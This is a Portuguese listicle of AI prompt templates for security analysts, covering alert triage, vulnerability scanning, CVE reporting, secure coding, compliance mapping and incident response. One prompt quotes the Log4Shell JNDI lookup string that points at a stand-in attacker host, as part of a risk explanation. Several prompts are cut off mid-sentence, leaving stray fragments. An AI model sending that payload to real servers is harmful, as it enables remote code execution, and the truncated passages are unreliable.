25 Prompts de IA Essenciais para Todo Analista de Segurança (2026)

[PASTE_SANITIZED_ALERT_DATA]

[PASTE_SANITIZED_FIREWALL_LOGS]

.
1.  Em termos simples, o que esta assinatura de malware tipicamente indica?
2.  Qual é o comportamento comum desta família de malware? (por exemplo, ransomware, ladrão de informações, RAT)
3.  Quais são os 3-5 próximos passos imediatos que um analista júnior deve tomar para investigar o host

-   **Isca Principal:** O e-mail alegava ser uma "fatura urgente com pagamento exigido" e instava o usuário a clicar em um link.
-   **URL:**

está ativamente visando nossa indústria (

[PASTE_CVE_LIST_AND_CVSS_SCORES]

.
Elabore um e-mail claro e conciso que:
1.  Comece declarando a vulnerabilidade e o sistema afetado (

Atue como um consultor de segurança. Preciso configurar uma varredura do Tenable Nessus para um novo segmento de nossa rede que contém `[SERVER_TYPES]` (por exemplo, servidores web, servidores de banco de dados, controladores de domínio).
Recomende uma configuração de política de varredura do Nessus. Sua recomendação deve cobrir:
-   **Modelo de Varredura:** Qual modelo do Nessus usar como ponto de partida (por exemplo, Basic Network Scan, Credentialed Patch Audit).
-   **Credenciais:** Por que uma varredura credenciada é necessária.
-   **Plugins:** Quais famílias de plugins são mais importantes para habilitar para esses tipos de servidor.
-   **Frequência:** Uma frequência de varredura recomendada (por exemplo, semanal, mensal).
Forneça a saída como um conjunto de recomendações claras com breves justificativas para cada uma.

, mas determinamos que é um falso positivo.
Preciso escrever uma justificativa formal para nossos registros. Elabore um parágrafo que explique *por que* esta descoberta é um falso positivo.
Use as seguintes informações:
-   **Descoberta:** O scanner identificou

Você é um analista de vulnerabilidades reportando ao CISO. Tenho uma lista de 5 vulnerabilidades críticas que foram descobertas esta semana.
Crie uma tabela de resumo de alto nível para um relatório de gestão. A tabela deve ter as seguintes colunas:
-   `Vulnerabilidade (CVE)`
-   `Sistemas Afetados (Contagem)`
-   `Ação Recomendada`
-   `Equipe Atribuída`
-   `ETA de Remediação`
Preencha a tabela usando estes dados:
-   **CVE-2026-1001:** Afeta 15 servidores web. Ação: Aplicar patch do fornecedor. Equipe: Web Ops. ETA: 7 dias.
-   **CVE-2026-1002:** Afeta 50 estações de trabalho. Ação: Implantar software atualizado via SCCM. Equipe: Desktop Engineering. ETA: 14 dias.
-   **CVE-2026-1003:** Afeta 2 controladores de domínio. Ação: Aplicar alteração na chave de registro. Equipe: Infrastructure. ETA: 3 dias.
-   **CVE-2026-1004:** Afeta 10 servidores Linux. Ação: Atualizar kernel. Equipe: Linux Ops. ETA: 10 dias.
-   **CVE-2026-1005:** Afeta 1 aplicação personalizada. Ação: Correção de código do desenvolvedor. Equipe: AppDev. ETA: 30 dias.

em busca de potenciais vulnerabilidades do OWASP Top 10, procurando especificamente por:
-   Falhas de Injeção (SQL, Comando)
-   Autenticação Quebrada
-   Exposição de Dados Sensíveis
-   Desserialização Insegura
Para cada problema que encontrar, forneça:
1.  O número da linha vulnerável.
2.  Uma breve explicação da vulnerabilidade.
3.  Um exemplo de código mostrando como corrigi-lo.
Se nenhum problema for encontrado, declare isso.
Trecho de Código:

Nossa varredura Snyk encontrou uma vulnerabilidade crítica (`[CVE_ID]`) na biblioteca de código aberto `[LIBRARY_NAME]`, versão `[VERSION_NUMBER]`.
Explique esta vulnerabilidade a uma equipe de desenvolvimento. Sua explicação deve incluir:
1.  O que a vulnerabilidade permite que um atacante faça (por exemplo, execução remota de código, negação de serviço).
2.  Como a vulnerabilidade é acionada.
3.  Qual é a ação recomendada (por exemplo, "Atualizar para a versão X.Y.Z").
Mantenha a explicação concisa e focada no que os desenvolvedores precisam saber para corrigi-la.

Atue como um engenheiro de segurança principal. Escreva uma diretriz de codificação segura para nossa equipe de desenvolvimento sobre o tópico "Validação de Entrada".
A diretriz deve ser um documento markdown que inclua:
-   Uma breve e simples explicação de por que a validação de entrada é importante.
-   Uma seção "Fazer" com 2-3 melhores práticas (por exemplo, usar listas de permissão, validar no lado do servidor).
-   Uma seção "Não Fazer" com 2-3 erros comuns (por exemplo, confiar apenas na validação do lado do cliente, usar listas de bloqueio).
-   Um exemplo de código curto e claro em `[LANGUAGE]` mostrando uma implementação "ruim" versus "boa".

que é vulnerável à injeção SQL.
Refatore o código para usar consultas parametrizadas (instruções preparadas) para prevenir esta vulnerabilidade. Mostre os blocos de código "antes" e "depois".
Código Vulnerável:

)
-   GitHub personal access token (por exemplo,

Atue como um analista de GRC. Preciso elaborar uma nova política de segurança corporativa sobre "Uso Aceitável de Ferramentas de IA".
A política deve ser estruturada com as seguintes seções:
1.  **Propósito:** Por que esta política existe.
2.  **Escopo:** A quem esta política se aplica.
3.  **Declarações de Política:** Uma lista de regras, incluindo:
-   Proibição de usar ferramentas de IA públicas com dados sensíveis da empresa ou de clientes.
-   Requisito de usar apenas plataformas de IA aprovadas pela empresa.
-   Diretrizes para verificar a precisão do conteúdo gerado por IA.
-   Uma declaração sobre propriedade e confidencialidade dos dados.
4.  **Aplicação:** As consequências da violação da política.
Gere um rascunho profissional desta política.

Estou me preparando para uma auditoria. Preciso mapear nossos controles ISO 27001 existentes para os Critérios de Serviços de Confiança SOC 2.
Para o seguinte controle ISO 27001, identifique os critérios SOC 2 correspondentes que ele ajuda a satisfazer.
**Controle ISO 27001:** `[ISO_CONTROL_DESCRIPTION]` (por exemplo, "A.9.4.1: Restrição de acesso à informação")
Forneça o TSC SOC 2 correspondente e uma breve explicação de uma frase do mapeamento.
Exemplo de Saída:
**TSC SOC 2:** CC6.1 - Segurança de Acesso Lógico
**Explicação:** Este controle apoia diretamente o requisito SOC 2 de restringir o acesso lógico a informações e sistemas com base em funções e responsabilidades.

) e uma captura de tela do agendamento da varredura (

Estou conduzindo uma avaliação de risco em nossa nova implantação de `[CLOUD_SERVICE_NAME]`.
Gere um cenário de risco relacionado a "Controles de Acesso Inadequados". O cenário deve ser estruturado com estes campos:
-   **Cenário de Risco:** Uma breve descrição de uma frase do evento.
-   **Ator da Ameaça:** Quem poderia causar isso (por exemplo, Insider Malicioso, Atacante Externo).
-   **Vulnerabilidade:** A fraqueza que permite isso (por exemplo, Funções IAM excessivamente permissivas).
-   **Impacto:** O resultado de negócios se ocorrer (por exemplo, Violação de dados, interrupção de serviço).
-   **Controles Existentes:** O que temos atualmente em vigor (por exemplo, MFA, registro básico).
Preencha esta estrutura para o risco de "Controles de Acesso Inadequados".

Preciso explicar o risco de uma vulnerabilidade Log4j não corrigida (CVE-2021-44228) a um comitê de risco não técnico.
Traduza a seguinte descrição técnica em uma declaração de risco de negócios simples e baseada em analogias. Evite jargões como RCE, JNDI e LDAP.
**Descrição Técnica:** "A vulnerabilidade Log4j permite a execução remota de código não autenticada (RCE) ao registrar uma string especialmente elaborada. Um atacante pode enviar uma string como `${jndi:ldap://attacker.com/a}` que faz com que o servidor se conecte de volta ao sistema do atacante e execute um payload malicioso."
Concentre-se no que isso significa para o negócio (por exemplo, "É como deixar uma porta dos fundos destrancada...").

[PASTE_SANITIZED_AND_TIMESTAMPED_LOG_ENTRIES]

URGENTE: Escalonamento de Incidente de Segurança - [INCIDENT_TYPE]

Você é um gerente sênior de resposta a incidentes. Nossa equipe acabou de resolver um incidente de `[INCIDENT_TYPE]`.
Crie um esboço detalhado para um documento de Revisão Pós-Incidente (PIR). O esboço deve incluir todas as seções principais e sub-marcadores para os tópicos chave a serem abordados em cada uma.
Inclua seções para:
1.  Resumo Executivo
2.  Linha do Tempo do Incidente (Eventos Chave)
3.  Análise da Causa Raiz (O que falhou?)
4.  Avaliação de Impacto (Negócios, Técnico, Financeiro)
5.  Lições Aprendidas (O que correu bem? O que correu mal?)
6.  Itens de Ação (Uma tabela com colunas para Ação, Responsável e Data de Vencimento)

Estamos iniciando uma investigação forense digital em um host comprometido (`[HOSTNAME]`) relacionada a um incidente de exfiltração de dados.
Atue como um investigador forense líder. Gere uma lista das 10 principais perguntas que nossa investigação precisa responder. As perguntas devem ser focadas em estabelecer o escopo completo e a linha do tempo da violação.
Exemplos:
-   Como o atacante obteve acesso inicial ao host?
-   Quais ferramentas o atacante usou no host?
-   Quais dados foram acessados ou exfiltrados do host?

Você é o chefe de comunicações corporativas, trabalhando com a equipe de segurança. Precisamos enviar uma breve atualização interna a todos os funcionários sobre um incidente de segurança recente que foi resolvido.
O incidente foi um `[INCIDENT_TYPE]` que causou `[IMPACT]`.
Elabore uma mensagem curta, tranquilizadora e não técnica para toda a equipe. A mensagem deve:
-   Reconhecer que uma interrupção ocorreu.
-   Confirmar que o problema foi resolvido.
-   Agradecer à equipe de segurança.
-   Lembrar os funcionários de permanecerem vigilantes e relatarem atividades suspeitas.
Não inclua detalhes técnicos sobre o incidente.